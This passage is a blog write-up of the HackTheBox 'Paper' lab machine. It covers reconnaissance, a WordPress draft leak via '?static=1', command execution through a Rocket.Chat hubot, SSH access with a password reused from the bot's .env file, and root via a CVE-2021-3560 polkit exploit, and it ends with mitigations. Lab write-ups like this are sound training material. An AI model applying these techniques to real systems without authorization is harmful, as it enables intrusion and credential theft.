target.\nFrom these results I could tell there was an SSH server running on the target, along with a HTTP server, running on both port 80 and 443 (HTTPS). What\u0026rsquo;s also interesting is that in the service header for the HTTP service it says \u0026lsquo;centos\u0026rsquo;, which is a Linux distribution and one I\u0026rsquo;ve actually seen used on a box before. This was something I decided I\u0026rsquo;d investigate further later. First, I decided I would attempt to visit the webpage for the server.\nHTTP reconnaissance I realised that it unfortunately wasn\u0026rsquo;t going to be that easy, I was going to have to work harder in order to get further into this target. However, at the very least from this webpage I was able to tell that the server again was running CentOS, this time specifying version 8. This will come in handy later, I was sure.\nSo for now I decided to fire up dirbuster and check for any hidden directories on the web server.\nAt this point I started to get excited, I imagined the results shown here would allow me to dig deeper into the box. To start off with, the cgi-bin directory was unfortunately configured correctly and did not allow me access, with there also being no exploit for cgi-bin in this version of php as far as I was aware. So I instead turned my attention to the more interesting manual directory, loading it up in my browser.\nLooking at this page, initially I thought it would help me gather more information about the target, as it could contain information about hidden virtual hosts on the target, or something of the like. However, after combing through it for several minutes I realised this was just the default manual given with the Apache HTTP server and wasn\u0026rsquo;t going to be very helpful to me. So, I instead turned my attention to the headers being given in response to my queries.\nWhen requesting the manual, the headers were pretty much normal and didn\u0026rsquo;t provide me with any more information than I currently had. However, when requesting the root directory of the web server, the response headers were more interesting.\nTo start off with, the HTTP response code was 403 instead of 200, which I found interesting as perhaps it implied the server was choosing to withhold certain information from me in the response. Looking further into the response headers, I also realised that the X-Backend-Server header was set to the value \u0026lsquo;office.paper\u0026rsquo;. At first I didn\u0026rsquo;t fully grasp the meaning of this, as I hadn\u0026rsquo;t seen this header before. However, after some searching online I realised this could be a virtual host configured on the HTTP server and I decided to add it to the entry for the box in my /etc/hosts. Then I tried opening office.paper in my browser and\u0026hellip;\nBingo!\nFurther investigation It seemed to me at the time that I landed on a wordpress blog being hosted on the machine, so I decided to poke around a bit more and see what I could find.\nEventually I found a comment on one of the posts which was interesting to me, as it mentioned \u0026lsquo;secret content\u0026rsquo; being stored in the drafts of the author of the post. This prompted me to take a closer look into the wordpress installation, firstly with a scan using the tool wpsscan.\nI found one part of the results particularly interesting, specifically the version number and wpsscan\u0026rsquo;s description of it being \u0026lsquo;insecure\u0026rsquo; and released over 2 years ago. So I decided to search online for any exploits for wordpress version 5.2.3.\nEventually, on exploit-db I found an exploit for this version of wordpress which said\nSo far we know that adding ?static=1 to a wordpress URL should leak its secret content\nNaturally, I tried exactly this on the office.paper wordpress blog I discovered earlier, leading to the following output:\nNice, so it seemed that by adding that parameter to the website URL, I was able to view the content of drafts on the site. Very helpful. One particularly interesting part of this draft content is the web link at the bottom. After adding chat.office.paper onto the same /etc/hosts entry and opening the URL, I was greeted with this:\nAfter making an account and poking around a bit, I managed to find a general communication channel, which had the following message:\nIt seemed that there is a bot that has been custom made for this rocket chat server for the purpose of answering simple queries.\nAnd here it listed the functionality of being able to both read files and list directories. This definitely warranted further investigation.\nI attempted to get it to list the root directory the bot was operating from and low and behold, it did so! What\u0026rsquo;s especially interesting from this output is that it looked exactly like the regular output from the ls command, just piped into a rocket chat message. This got me thinking at the time, is it just taking my input and executing it directly? To test this theory, I decided to try a directory traversal attack against the bot to list the directory up one level.\nGreat, that worked! I noticed the directory above looked like a user\u0026rsquo;s home directory and it did actually have the \u0026lsquo;user.txt\u0026rsquo; flag inside it.\nUser Attempting exploitation Next I tried to get the contents of the \u0026lsquo;user.txt\u0026rsquo; flag. Unfortunately, it looks like the bot is running as a different user, so the file read failed. Next I tried command injection using the \u0026lsquo;;\u0026rsquo; operator.\nUnfortunately, this didn\u0026rsquo;t work either, as the bot catches the shell operator and refuses to execute the command. I tried various other operators such as \u0026lsquo;\u0026amp;\u0026amp;\u0026rsquo; and \u0026lsquo;||\u0026rsquo;, but it caught these too. At this point was stuck with the box, until a little while later when I attempted to execute a command using the bot directly.\nBrilliant! It seemed incredibly strange to me that the bot caught my previous attempts to inject commands before, but now executes them with a keyword. Oh well.\nUnderstanding the bot So from here I decided to try and dig a little deeper into how the bot actually worked. I figured the \u0026lsquo;hubot\u0026rsquo; directory was as good as any to start in.\nWithin this directory I could see various folders, but one at peaked my interest was \u0026lsquo;scripts\u0026rsquo;.\nAha! So it seemed that all of the functionality for the bot was programmed within this folder, including the \u0026lsquo;run\u0026rsquo; command guessing from the \u0026lsquo;run.js\u0026rsquo; in the folder. I decided to view the contents of run.js to take a closer look.\nTOTAL VIOLATION of any and all security!\nYep. Sounded about right. From here I decided to search about \u0026lsquo;hubot\u0026rsquo; online in order to find more information about how it functioned and how I could potentially exploit it.\nEscalation Eventually I came across the github page for the project after searching online and discovered that many of the configuration parameters for the bot are stored in the \u0026lsquo;.env\u0026rsquo; file in the \u0026lsquo;hubot\u0026rsquo; folder.\nTherefore I decided to try and view the \u0026lsquo;.env\u0026rsquo; file for this bot, maybe it\u0026rsquo;d give me some useful information?\nSweet, looked like there was a password in there! Maybe I\u0026rsquo;ll be able to use it on the SSH server I found during my scan? I\u0026rsquo;ll attempt to login using the \u0026lsquo;dwight\u0026rsquo; user, considering they are the person most likely to have deployed the bot considering it\u0026rsquo;s in their home directory.\nThere, I managed to login and got the content of \u0026lsquo;user.txt\u0026rsquo;, so now all I had to do is get root!\nRoot I started off my enumeration for root by deploying linpeas onto the target computer and executing it with the \u0026lsquo;-N\u0026rsquo; parameter to disable colour, saving the output to a file. After the execution of the script finished, I started parsing through the content of the output and stumbled across this.\nIt seemed linpeas was claiming that the box is vulnerable to CVE-2021-3560, a polkit privilege escalation exploit which allows creation of additional administrative accounts on the system. After further investigation, I managed to verify that CentOS 8 is indeed vulnerable to this exploit, courtesy of Red Hat.\nTherefore, I started looking online for a working script to exploit it. I came across this python script which I thought looked pretty solid, so I gave it a shot on the box, first uploading it to /tmp and then executing it using python. And\u0026hellip;\nGreat, the exploit worked as expected! I got root on the machine and managed to get the contents of the \u0026lsquo;root.txt\u0026rsquo; flag, concluding the box.\nMitigations Within this section I\u0026rsquo;ll detail reasonable mitigations which could be made to this box in order to mitigate the vulnerabilities I exploited.\nHTTP server headers To start off, I cannot think of any good reason why a server would need to utilise the X-Backend-Server header in production and personally I\u0026rsquo;d recommend that this header be removed from the server, as the inclusion of it is unnecessary and only increases the attack surface of the box.\nWordpress draft access The unauthorised draft access bug got fixed in wordpress 5.2.4. The wordpress installation should be updated.\nHubot command execution For the most part, the bot was very resilient against command injection when concerned with the list and file commands, but considering it had a command dedicated to executing commands on the host system, these measures were practically pointless. The run.js and cmd.js scripts should both be removed from the bot in order to ensure its security.\nSSH access Because the password used for the rocketchat bot login was the same as dwight\u0026rsquo;s user account password, I was able to get access to the machine. Dwight\u0026rsquo;s user account password should be changed, along with the rocketchat bot password and they should not be the same.\nCVE-2021-3560 exploit (polkit) This exploit was patched in a newer version of polkit released for CentOS 8. The version of polkit on the box should be updated in order to mitigate against this vulnerability.\nDonate Monero\n","date":"2022-05-09T12:00:00+01:00","permalink":"/p/hackthebox-paper/","title":"HackTheBox - Paper"}]